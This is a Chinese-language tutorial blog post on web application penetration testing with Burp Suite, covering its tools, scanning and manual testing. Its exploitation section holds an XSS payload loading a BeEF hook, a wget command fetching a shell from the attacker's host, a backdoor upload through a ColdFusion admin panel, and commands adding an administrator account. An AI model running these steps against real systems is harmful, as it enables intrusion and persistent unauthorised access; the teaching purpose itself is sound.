您好,登錄后才能下訂單哦!
本篇文章為大家展示了如何利用Burp Suite攻擊Web應(yīng)用,內(nèi)容簡(jiǎn)明扼要并且容易理解,絕對(duì)能使你眼前一亮,通過(guò)這篇文章的詳細(xì)介紹希望你能有所收獲。
Web應(yīng)用漏洞給企業(yè)信息系統(tǒng)造成了很大的風(fēng)險(xiǎn)。許多web應(yīng)用程序漏洞是由于web應(yīng)用程序缺乏對(duì)輸入的過(guò)濾。簡(jiǎn)而言之Web應(yīng)用程序利用來(lái)自用戶的某種形式的輸入并且在應(yīng)用程序中執(zhí)行了這些信息為其提供內(nèi)容或者從系統(tǒng)的其他部分獲取數(shù)據(jù)。如果未正確過(guò)濾輸入攻擊者可以發(fā)送非標(biāo)準(zhǔn)輸入來(lái)利用web應(yīng)用程序。本文將重點(diǎn)討論burpsuite并介紹如何利用它來(lái)評(píng)估web應(yīng)用程序。
Burpsuite綜述
Burpsuit有許多功能包括但不限于
Interception Proxy:旨在讓用戶控制發(fā)送到服務(wù)器的請(qǐng)求。
Repeater:快速重復(fù)或修改指定請(qǐng)求的能力。
Intruder:允許自動(dòng)化自定義攻擊和payload。
Decoder:解碼和編碼不同格式的字符串URL,BASE64,HTML等等。
Comparer: 高亮顯示不同的請(qǐng)求或響應(yīng)之間的不同處。
Extender: 擴(kuò)展Burp功能的API接口以及許多通過(guò)BApp商店免費(fèi)提供的擴(kuò)展。
Spider and Discover Content feature:爬取web應(yīng)用程序上的鏈接并且可以被用來(lái)動(dòng)態(tài)枚舉非顯式鏈接的內(nèi)容來(lái)尋找信息。
Scanner (Pro Only): 檢查web應(yīng)用程序漏洞XSSSQLi代碼注入文件包含等的自動(dòng)掃描程序。
Burp的詳細(xì)幫助文檔在下面能找到
http://portswigger.net/burp/help/suite_gettingstarted.html
Burpsuite能通過(guò)java -jar命令行加載。你可以通過(guò)使用選項(xiàng)“-Xmx”分配你的burp所需內(nèi)存。
java -jar -Xmx1024m /path/to/burp.jar
像許多攔截代理一樣Burp也是通過(guò)GUI驅(qū)動(dòng)的但是有一些選項(xiàng)需要通過(guò)Extender功能利用命令行啟動(dòng)。
一旦burpsuite啟動(dòng)建議你先在Scope定義好目標(biāo)主機(jī)。你可以在site map控制顯示的內(nèi)容和其他功能。Scope能通過(guò)定義目標(biāo)主機(jī)名IP或者網(wǎng)絡(luò)范圍:
Proxy選項(xiàng)卡顯示Burp的代理詳細(xì)信息、intercept選項(xiàng)和HTTP請(qǐng)求歷史。在下面你可以看到“Intercept is on” 所以任何從瀏覽器發(fā)出的請(qǐng)求都將必須通過(guò)Burp的proxy手動(dòng)點(diǎn)擊forward才能進(jìn)行
Intercept 功能會(huì)截?cái)嗨袕臑g覽器發(fā)送出來(lái)的流量其他擴(kuò)展如FoxyProxy能用來(lái)指定哪個(gè)URL和IP是黑名單或白名單這些名單能繞過(guò)burp的截?cái)?。通過(guò)配置好Burp的scope和proxy你可以開始使用你的瀏覽器和burp瀏覽web應(yīng)用程序了如你可以在Site Map目標(biāo)右鍵彈出菜單選項(xiàng)。在這個(gè)視圖中你可以看到web應(yīng)用的目錄結(jié)構(gòu)和資源。通過(guò)右擊URL或者資源你可以通過(guò)幾個(gè)選項(xiàng)調(diào)用其他功能例如Burp的spider功能或者執(zhí)行主動(dòng)式掃描
便捷提示為了更容易專注于目標(biāo)web應(yīng)用程序你可以點(diǎn)擊“Filter”菜單只顯示僅僅在范圍內(nèi)的內(nèi)容
激活Burp的spider功能將爬取web應(yīng)用的鏈接默認(rèn)爬取鏈接深度為5但是這些選項(xiàng)都是在“spider”選項(xiàng)卡中配置的。一旦你截?cái)鄔eb應(yīng)用程序所有的請(qǐng)求和響應(yīng)都將在“proxy”選項(xiàng)卡中記錄下來(lái)。你可以高亮顯示一個(gè)請(qǐng)求讓它脫穎而出并且可以在之后的分析中留下注釋
??Burpsuite在它的Engagement Tools 右擊目標(biāo)站點(diǎn)的視圖>Engagement Tools 下他提供了大量有用的功能。從這你可以選擇“Analysis Target”分析目標(biāo)這個(gè)功能提供給你鏈接參數(shù)和靜態(tài)、動(dòng)態(tài)內(nèi)容的計(jì)數(shù)。了解這些信息對(duì)評(píng)估目標(biāo)非常有用。鏈接、參數(shù)、和動(dòng)態(tài)內(nèi)容越多注入fuzz的點(diǎn)就更多。
??在下面的截圖中你可以看到一些其他功能如“Schedule Task”定時(shí)任務(wù)讓你可以定時(shí)進(jìn)行主動(dòng)掃描。如果客戶端想在一天中的某幾個(gè)小時(shí)執(zhí)行自動(dòng)化測(cè)試這個(gè)功能特別有用。
??進(jìn)行web應(yīng)用程序測(cè)試時(shí)將面臨到的一個(gè)問(wèn)題是枚舉未使用顯式鏈接的內(nèi)容。這可能是一種很耗時(shí)的方式因?yàn)樗饕蕾嚤┝Σ陆鈦?lái)制作請(qǐng)求并且查看服務(wù)器上是否存在該資源。舉個(gè)例子“/tmp/”目錄不是在web應(yīng)用任何一個(gè)鏈接中但是如果發(fā)送請(qǐng)求/tmp/目錄將得到響應(yīng)。為了解決這個(gè)問(wèn)題我們有許多其他的選擇
利用Burp的Discover Content功能。
利用其它掃描器Niktow3afZAP等來(lái)探測(cè)一些默認(rèn)資源。
利用DirBuster或Burp的Intruder功能基于一個(gè)固定列表暴力猜解資源。
所有的這些方法都非常耗時(shí)并且實(shí)際上可能找不到任何東西因此根據(jù)測(cè)試時(shí)間和范圍你可以不必讓DirBuster 運(yùn)行一整天。一般情況下當(dāng)你另外進(jìn)行手工測(cè)試的時(shí)候它會(huì)自動(dòng)在后臺(tái)運(yùn)行。
??下面是一個(gè)例子調(diào)用Burp的Discover Content功能嘗試動(dòng)態(tài)枚舉非顯式鏈接的內(nèi)容
當(dāng)你開始測(cè)試WEB應(yīng)用程序時(shí)你將發(fā)現(xiàn)你經(jīng)常需要將字符串解碼或編碼成不同格式。當(dāng)嘗試?yán)@過(guò)一些簡(jiǎn)單的waf的時(shí)候非常有用。下面的例子是使用Burp的decoder執(zhí)行URL編碼除此之外還有別的編解碼選項(xiàng)。
Burp的Comparer功能讓你快速將請(qǐng)求或響應(yīng)進(jìn)行比較并且高亮顯示它們之間的區(qū)別
擴(kuò)展功能提供了強(qiáng)大的API接口開發(fā)通過(guò)使用腳本語(yǔ)言開發(fā)額外的功能。許多擴(kuò)展是用python編寫并且通過(guò)Burp的應(yīng)用商店免費(fèi)提供使用。有個(gè)非常有用的擴(kuò)展是Carbonator它允許你在命令行中實(shí)現(xiàn)brupspider>scan>report的全自動(dòng)化。
另一個(gè)選項(xiàng)是利用Burp的intruder功能它可以使用一個(gè)請(qǐng)求并且允許用戶修改請(qǐng)求定義各種不同的payload注入點(diǎn)。一個(gè)常見的用例是迭代請(qǐng)求中的參數(shù)值用來(lái)查看web應(yīng)用程序如何響應(yīng)例如get /product.php?item=1你也許可以使用intruder檢查比較一下1-1000響應(yīng)的不同之處。你還可以將請(qǐng)求的資源作為要修改的位置。下面我們將通過(guò)遍歷一個(gè)目錄字典來(lái)演示這一點(diǎn)
??1.指定一個(gè)請(qǐng)求并且選擇“Send to Intruder”這將在“intruder”選項(xiàng)卡下彈出以下窗口。高亮顯示區(qū)域是在請(qǐng)求中將使用“sniper”payload進(jìn)行暴力猜解的那部分
2.接下來(lái)是payload選項(xiàng)卡你可以加載一個(gè)字典進(jìn)行暴力猜解
3.選擇“Intruder > Start Attack”開始攻擊。接下來(lái)的結(jié)果窗口將顯示創(chuàng)建的請(qǐng)求和HTTP狀態(tài)碼。正如我們所看到的我們能枚舉出一部分spider未發(fā)現(xiàn)的其他資源
除了使用Burp建議在后臺(tái)運(yùn)行中間掃描程序用來(lái)檢查一些默認(rèn)配置和資源。下面是使用Nikto的例子也可以考慮其他掃描工具ZAPw3afGrendal等。正如我們所看到的Nikto發(fā)現(xiàn)了更多有趣的東西等待我們?nèi)フ{(diào)查如/tmp/和/test/:
在初步的偵察之后我們想開始一個(gè)主動(dòng)式掃描這能讓Burp測(cè)試已知內(nèi)容以發(fā)現(xiàn)漏洞。主要通過(guò)Burp輸入內(nèi)容HTML、javascript、SQL語(yǔ)法、系統(tǒng)命令等進(jìn)行大量的工作并且監(jiān)測(cè)應(yīng)用程序如何響應(yīng)來(lái)實(shí)現(xiàn)。與任何Web應(yīng)用程序漏洞掃描器一樣Burp會(huì)報(bào)告一些需要手動(dòng)驗(yàn)證的報(bào)告。要啟動(dòng)一個(gè)主動(dòng)式掃描右擊site map上的URL或者資源并選擇“Actively scan this host”將會(huì)彈出下面主動(dòng)掃描向?qū)?br/>
在Web應(yīng)用程序的掃描時(shí)間可能因Web應(yīng)用程序而異。在某些情況下Web應(yīng)用程序的自動(dòng)掃描時(shí)間范圍可能從幾個(gè)小時(shí)到幾天不等。掃描期間列舉的鏈接計(jì)數(shù)是潛在的掃描持續(xù)時(shí)間的一個(gè)很好的指標(biāo)。下面的窗口顯示了1515個(gè)鏈接枚舉但很少有參數(shù)用于測(cè)試輸入。不帶參數(shù)的鏈接將減少Burp對(duì)每個(gè)鏈接的請(qǐng)求次數(shù)因此掃描時(shí)間較短。
??在評(píng)估主動(dòng)掃描網(wǎng)絡(luò)應(yīng)用時(shí)另一個(gè)關(guān)鍵因素是表單提交。當(dāng)你主動(dòng)掃描web應(yīng)用程序時(shí)根據(jù)web應(yīng)用程序和向用戶提供的功能你可能會(huì)生成大量日志故障單作業(yè)等。如果不在評(píng)估范圍內(nèi)應(yīng)該密切監(jiān)視這些情況以防止造成拒絕服務(wù)DoS情況。
??掃描開始后可通過(guò)跳轉(zhuǎn)到Burp中的“scanner”選項(xiàng)卡來(lái)查看結(jié)果和狀態(tài).
隨著開始顯示結(jié)果你可以開始檢查一些結(jié)果。
驗(yàn)證Burp掃描結(jié)果確定是否是誤報(bào)充分了解結(jié)果這通常會(huì)是一個(gè)好主意。從選擇發(fā)現(xiàn)的結(jié)果開始選擇如“Cross-site scripting (reflected)”然后選擇并查看其請(qǐng)求和響應(yīng)中影響漏洞評(píng)估的詳細(xì)信息。檢查XSS的第一件事就是在瀏覽器中重復(fù)這一個(gè)請(qǐng)求然后查看腳本是否運(yùn)行了。你可以通過(guò)右擊請(qǐng)求正文部分然后選擇“Request in browser”
查看瀏覽器中的響應(yīng)對(duì)確定標(biāo)記是否正確非常有用。由于XSS評(píng)估結(jié)果與在客戶端瀏覽器中執(zhí)行的代碼相關(guān)因此選擇在依賴于掃描器邏輯之前手工驗(yàn)證發(fā)現(xiàn)結(jié)果非常重要。
??Burp的另一個(gè)常用功能是“Repeater”通常用于驗(yàn)證結(jié)果或手動(dòng)搜索其他結(jié)果。只需右鍵單擊請(qǐng)求正文部分并選擇“Send to Repeater”
在Repeater界面中你可以修改請(qǐng)求并快速重新發(fā)送請(qǐng)求給Web應(yīng)用程序。
反射型XSS可以通過(guò)注入某種HTML / JavaScript的payload進(jìn)行快速測(cè)試該payload解析無(wú)需輸入進(jìn)行驗(yàn)證。下面是修改XSS payload簡(jiǎn)單地“alert”XSS“”的示例
對(duì)于反射型XSS的實(shí)際應(yīng)用你可能會(huì)利用iframe作為payload與魚叉式網(wǎng)絡(luò)釣魚結(jié)合使用。下面是一個(gè)示例XSS payload你可以使用它來(lái)代替“alert”所以現(xiàn)在它可以加載客戶端側(cè)提供的exploit或BeEF掛鉤的第三方資源
<iframe height=”0″ width=”0″src=<BeEF_hook></iframe>
BeEF是通過(guò)使用JavaScript來(lái)控制受害者瀏覽器的強(qiáng)大方法。在上面你可以看到使用XSS漏洞與BeEF相關(guān)的受害者瀏覽器。BeEF提供大量功能在受害者瀏覽器上執(zhí)行甚至連接到Metasploit以進(jìn)行攻擊。
??關(guān)于Web應(yīng)用程序的安全性中XSS經(jīng)常被許多人忽視因?yàn)槟阈枰闷渌椒ǐ@取最終目標(biāo)——shell。關(guān)于XSS的一點(diǎn)需要注意的是我們已經(jīng)確定Web應(yīng)用程序沒(méi)有正確過(guò)濾用戶輸入并且這可能只是一個(gè)引出許多其他漏洞的跡象。
??在下面這種情況我們通過(guò)發(fā)送到repeater并修改payload并在瀏覽器中顯示響應(yīng)來(lái)驗(yàn)證XSS并展示了如何利用XSS來(lái)控制受害者瀏覽器。Burp掃描結(jié)果另一個(gè)優(yōu)點(diǎn)是修改發(fā)現(xiàn)結(jié)果所聯(lián)系的風(fēng)險(xiǎn)等級(jí)。當(dāng)分析掃描結(jié)果時(shí)你將毫無(wú)疑問(wèn)遇見一些False Positive誤報(bào)情況。因此Burp提供用戶修改結(jié)果為“False Positive”的能力
Burp能夠使用各種payload進(jìn)行模糊輸入但它確實(shí)會(huì)遺漏一些特定版本的漏洞和配置問(wèn)題。這對(duì)任何工具都很常見因此建議你執(zhí)行手動(dòng)測(cè)試來(lái)驗(yàn)證工具找到的結(jié)果并列舉Web應(yīng)用程序中的其他漏洞。
??手動(dòng)測(cè)試的第一步是獲取Web應(yīng)用程序使用的技術(shù)。特定的軟件和版本信息可能會(huì)導(dǎo)致你獲取額外的信息以獲取可能存在的漏洞或漏洞。Whatweb是一款非常棒的工具能夠讓你快速了解Web應(yīng)用程序所使用的技術(shù)。下面我們可以看到whatweb的命令行語(yǔ)法和輸出
此時(shí)我們可能已經(jīng)在運(yùn)行完整的Burp掃描之前運(yùn)行了whatweb但是我們可以從whatweb的輸出中看到一些非常有趣的信息。
??在這種情況下我們看到一個(gè)ColdFusion Web應(yīng)用程序它給我們提供了手工測(cè)試的一個(gè)入手點(diǎn)?,F(xiàn)在已經(jīng)枚舉出了ColdFusion檢查是否存在管理資源如“/ CFIDE / administrator /”以便判斷是否合乎ColdFusion應(yīng)用的邏輯。
??Burp也可以成為在Web應(yīng)用程序上執(zhí)行手工測(cè)試的好工具。通常這種類型的測(cè)試是通過(guò)安全評(píng)估來(lái)進(jìn)行的并且隨著從各種掃描中發(fā)現(xiàn)更多信息可以進(jìn)一步利用手動(dòng)測(cè)試來(lái)利用它。關(guān)于手工測(cè)試的主題可以講好幾本書本博文將重點(diǎn)介紹一些非?;A(chǔ)的內(nèi)容。當(dāng)你開始瀏覽Web應(yīng)用程序并查看工具輸出時(shí)請(qǐng)問(wèn)你自己以下問(wèn)題
??1.列舉并研究所有可能存在的軟件版本。ColdFusionWordPressSharePoint等。
研究所有軟件版本以檢查是否存在已知的漏洞和常見的錯(cuò)誤配置
嘗試請(qǐng)求與正在使用的技術(shù)相關(guān)的其他資源這些資源可能不會(huì)被Web應(yīng)用程序顯式鏈接出來(lái)。
??2.Web應(yīng)用程序是否用到了用戶輸入
查看修改參數(shù)值HTTP頭字段cookie等以查看Web應(yīng)用程序的響應(yīng)方式。
??3.如果你懷疑某個(gè)部分的請(qǐng)求出現(xiàn)在屏幕上請(qǐng)測(cè)試XSS。因此如果你瀏覽該頁(yè)面并注意到你的User-Agent可以直接看見請(qǐng)嘗試用一些HTML / JavaScript替換你的User-Agent以測(cè)試XSS<script> alert1</ script>
。
??4.你的請(qǐng)求是否被利用來(lái)針對(duì)數(shù)據(jù)庫(kù)執(zhí)行查詢例如如果你注意到一個(gè)名為“id”的參數(shù)并且看到它帶有一個(gè)數(shù)字值請(qǐng)嘗試放置一個(gè)單引號(hào)“或雙引號(hào)”以嘗試生成數(shù)據(jù)庫(kù)錯(cuò)誤。這種類型的測(cè)試可以識(shí)別SQL注入的存在。
??5.Web應(yīng)用程序是否利用任何輸入來(lái)執(zhí)行命令嘗試修改輸入以將附加命令附加到請(qǐng)求并查看它是否被Web應(yīng)用程序成功處理。
??Webshell有各種文件格式和功能。你可能能夠登陸一個(gè)php shellraw shellmeterpreter等一個(gè)原始的netcat shell.asp shell.jsp等等??梢允褂玫膕hell類型取決于web應(yīng)用程序所使用的技術(shù)和配置。例如如果你獲得了對(duì)Apache Tomcat GUI的訪問(wèn)權(quán)限則可以部署WAR后門。如果你在運(yùn)行IIS時(shí)遇到一些RFI漏洞你可以嘗試上傳一個(gè)asp shell。
??當(dāng)你獲得一個(gè)shell的時(shí)候你也可以使用Web應(yīng)用程序服務(wù)帳戶的權(quán)限來(lái)運(yùn)行它可能無(wú)法在當(dāng)前工作目錄中執(zhí)行命令。由于這些原因你可能需要將Web Shell放置在/ tmp /目錄wget -O /tmp/shell.py http// <yourIp> /shell.py
中。關(guān)于遠(yuǎn)程命令執(zhí)行RCE它一般需要在請(qǐng)求結(jié)束時(shí)有一個(gè)空字節(jié)00。
有時(shí)候配置錯(cuò)誤會(huì)導(dǎo)致可以上傳一個(gè)web shell。下面我們可以看到我們可以訪問(wèn)ColdFusion管理界面。如果我們跳轉(zhuǎn)到這里這實(shí)際上允許我們安排任務(wù)并上傳.cfm后門。這是一個(gè)重要的發(fā)現(xiàn)但許多自動(dòng)化掃描工具完全錯(cuò)過(guò)了
這個(gè)例子不太可能發(fā)生在現(xiàn)實(shí)世界中但重點(diǎn)是列舉Web應(yīng)用程序利用的軟件版本然后進(jìn)行研究以發(fā)現(xiàn)任何漏洞。ColdFusion伴隨著許多目錄遍歷和越權(quán)漏洞已經(jīng)成熟了。利用谷歌搜索和檢查exploit-db等攻擊研究資源在這個(gè)測(cè)試階段可能會(huì)有很長(zhǎng)的路要走。
??由于我們可以訪問(wèn)管理界面因此下一個(gè)合理的步驟就是安排一個(gè)任務(wù)來(lái)調(diào)用.cfm后門并將其發(fā)布到Web應(yīng)用程序中。要在ColdFusion中安排任務(wù)它位于“Debugging&Logging”菜單下
接下來(lái)你需要在另一個(gè)地方快速搭起一個(gè)WEB服務(wù)器以允許WEB應(yīng)用程序?qū)⒑箝T下載下來(lái)。我發(fā)現(xiàn)利用Python來(lái)快速建立一個(gè)Web服務(wù)器是非常有用的
??????python -m SimpleHTTPServer 80
然后我們可以配置并運(yùn)行計(jì)劃任務(wù)來(lái)撤消并發(fā)布后門。你需要確保選中“publish”復(fù)選框并且可以從左側(cè)的服務(wù)器設(shè)置摘要中枚舉文件系統(tǒng)目錄結(jié)構(gòu)
在我們運(yùn)行計(jì)劃任務(wù)后你可以監(jiān)控你的Python Web服務(wù)器以查看受害者服務(wù)器請(qǐng)求后門。然后你可以跳轉(zhuǎn)到Web應(yīng)用上的后門進(jìn)行交互以在其OS上執(zhí)行命令
我們可以執(zhí)行一個(gè)“whoami”命令來(lái)查看Web應(yīng)用程序有什么權(quán)限
作為“nt authority\system”執(zhí)行,意味著我們可以開始進(jìn)行一些修改如添加用戶并關(guān)閉防火墻。我們將使用以下命令添加一個(gè)用戶
net user jobin password /ADD
net user localgroup Administrators jobin /ADD
net localgroup “Remote Desktop Users” jobin /ADD
??現(xiàn)在禁用防火墻并通過(guò).cfmshell添加用戶我們可以通過(guò)RDP協(xié)議連接受害者系統(tǒng)以獲得終端訪問(wèn)權(quán)限
??Web應(yīng)用程序漏洞的常見來(lái)源是缺少對(duì)用戶輸入的過(guò)濾。Web應(yīng)用程序掃描工具的工作原理是通過(guò)發(fā)出包含后面代碼、缺少過(guò)濾的輸入請(qǐng)求來(lái)利用的Web代碼語(yǔ)法本地/遠(yuǎn)程資源等。
Web應(yīng)用程序測(cè)試是一個(gè)非常高級(jí)的主題本博文僅關(guān)注一些基本知識(shí)Burp Suite簡(jiǎn)介。如果你想了解有關(guān)Web應(yīng)用程序測(cè)試的更多信息請(qǐng)查看以下資源
Metasploitable可以為Web應(yīng)用程序提供很好的實(shí)踐
SecureIdeas提供便宜的Burp網(wǎng)絡(luò)訓(xùn)練研討會(huì)
OWASP
通過(guò)訪問(wèn)www.pentesterlab.com獲取免費(fèi)培訓(xùn)和實(shí)驗(yàn)室
SANS 542和642 Web應(yīng)用滲透測(cè)試課程
攻擊性安全培訓(xùn)OSCP有很多網(wǎng)絡(luò)應(yīng)用程序測(cè)試
上述內(nèi)容就是如何利用Burp Suite攻擊Web應(yīng)用,你們學(xué)到知識(shí)或技能了嗎?如果還想學(xué)到更多技能或者豐富自己的知識(shí)儲(chǔ)備,歡迎關(guān)注億速云行業(yè)資訊頻道。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。